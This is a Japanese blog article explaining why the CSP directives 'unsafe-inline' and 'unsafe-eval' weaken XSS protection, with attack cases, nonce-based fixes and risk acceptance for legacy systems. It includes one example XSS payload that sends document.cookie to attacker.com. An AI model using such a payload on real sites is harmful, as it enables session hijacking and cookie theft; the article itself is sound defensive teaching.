概要
OWASP ZAPなどの脆弱性診断ツールで、Content Security Policy (CSP) の設定に関して「`script-src unsafe-eval`」や「`script-src unsafe-inline`」という警告が出ることがあります。
本記事では、なぜこれらの設定が危険視されるのかという攻撃の仕組みから、具体的なリスク、そして「古いフレームワーク等の制約でどうしても設定を外せない」場合の現実的な対応方針（リスクの許容と多層防御）について解説します。
【起】CSPにおける「unsafe」な設定とは何か
Content Security Policy (CSP) は、ブラウザに対して「どのオリジン（ドメイン）からのリソース読み込みや実行を許可するか」を指示し、クロスサイトスクリプティング（XSS）などの攻撃を防ぐ強力なセキュリティ機構です。
しかし、CSPのディレクティブ（指示）の中に以下のキーワードが含まれていると、その防御力は大きく低下してしまいます。
`unsafe-inline` (script-src / style-src):
HTML内に直接書かれた `<script>...</script>` や `<style>...</style>`、およびHTMLタグ内のイベントハンドラ（`onclick="..."`）やインラインスタイル（`style="..."`）の実行を許可してしまいます。
`unsafe-eval` (script-src):
`eval()` や `new Function()`、`setTimeout(文字列)` など、文字列をJavaScriptのコードとして動的に評価・実行する機能を許可してしまいます。
【承】なぜ危険なのか？具体的な攻撃ケース
これらの設定が「unsafe（安全ではない）」と呼ばれる最大の理由は、ブラウザが「開発者が書いた正しいコード」と「攻撃者が注入した悪意あるコード」を区別できなくなるためです。
攻撃ケース1：インラインスクリプトによるXSS被害
アプリケーションに入力値のサニタイズ漏れ（XSSの脆弱性）があったとします。
攻撃者が掲示板のコメント欄などに、以下の悪意あるコードを投稿しました。
<script>fetch('ｈｔｔｐｓ://attacker.com/steal?cookie=' + document.cookie);</script>
※ココナラブログのＮＧ対策として一部を全角にしています。
もしCSPで `unsafe-inline` が許可されていると、ブラウザはこのスクリプトを「ページの一部」として素直に実行してしまい、ユーザーのセッションCookieが攻撃者に送信されて乗っ取られます。（許可されていなければ、ブラウザが実行をブロックしてくれます）。
攻撃ケース2：動的評価（eval）によるコード実行
JavaScript内でJSONデータを処理する際などに、古いコードで `eval()` が使われている場合があります。攻撃者が細工した文字列をこの処理に流し込むことができれば、任意のスクリプトが実行されてしまいます。
【転】理想の対処法と、直面する「技術的制約」
セキュリティ上の「理想の対処法」
Googleなどのセキュリティガイドラインでも推奨されている根本的な対処法は以下の通りです。
1. インラインの廃止:
全てのJavaScriptとCSSを外部ファイル（`.js`, `.css`）に分離し、`unsafe-inline` を削除する。
2. Nonce（ナンス）の利用:
どうしてもインラインスクリプトが必要な場合は、リクエストごとに生成されるランダムな文字列（Nonce）を発行し、`<script nonce="ランダム文字列">` と一致したものだけを実行させる。
3. evalの廃止:
`eval()` は絶対に使用せず、JSONのパースには組み込みの `JSON.parse()` を使用する。
レガシーシステムにおける「現実」と対応策
しかし、歴史のあるシステムや特定のWebフレームワークを使用している場合、内部ロジック自体がインラインスクリプトや `eval` に依存していることが多々あります（例えば、画面の初期化処理や、非同期通信のコールバックなど）。
このような環境で、診断ツールに言われるがまま `unsafe-inline` や `unsafe-eval` を削除すると、ログインボタンが押せなくなったり、画面レイアウトが完全に崩壊したりと、システムが機能不全に陥ります。
【現実的な対応策：リスクの許容と多層防御】
アーキテクチャの制約で直ちに排除できない場合、以下のように対応をコントロールします。
1. リスクの許容（Accepted Risk）:
現行構成での修正は改修コストや影響範囲が甚大であるため、「技術的制約による許容リスク」として扱い、ZAP等の診断レポート上では便宜上除外（Ignore）とします。
2. 最低限の防御壁を構築する（多層防御）:
単に設定を省略する（ワイルドカード状態にする）のではなく、「自ドメインからの読み込みのみに限定しつつ、インラインを許可する」という明示的な設定を行います。
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';
これにより、少なくとも「外部の悪意あるドメインからスクリプトファイルを読み込ませる」タイプの攻撃は防ぐことができます。
3. 根本的な解決は次期刷新へ:
フロントエンドをReactやVueなどのモダンなフレームワークへ刷新するタイミングで、インライン記述や `eval` への依存を廃止し、厳格なCSP（Strict CSP）を適用するロードマップを策定します。
【結】まとめ
CSPにおける `unsafe-inline` や `unsafe-eval` は、XSS攻撃のリスクを顕在化させる危険な設定です。新規開発においては絶対に避けるべきアンチパターンと言えます。
しかし、既存システムにおいては「セキュリティ」と「システムの可用性」のバランスを取る必要があります。設定を外せない場合は、リスクを正しく認識した上で自ドメイン制限などの代替策を取り、入力値のサニタイズ（XSS自体の防止）をより一層徹底することが重要です。
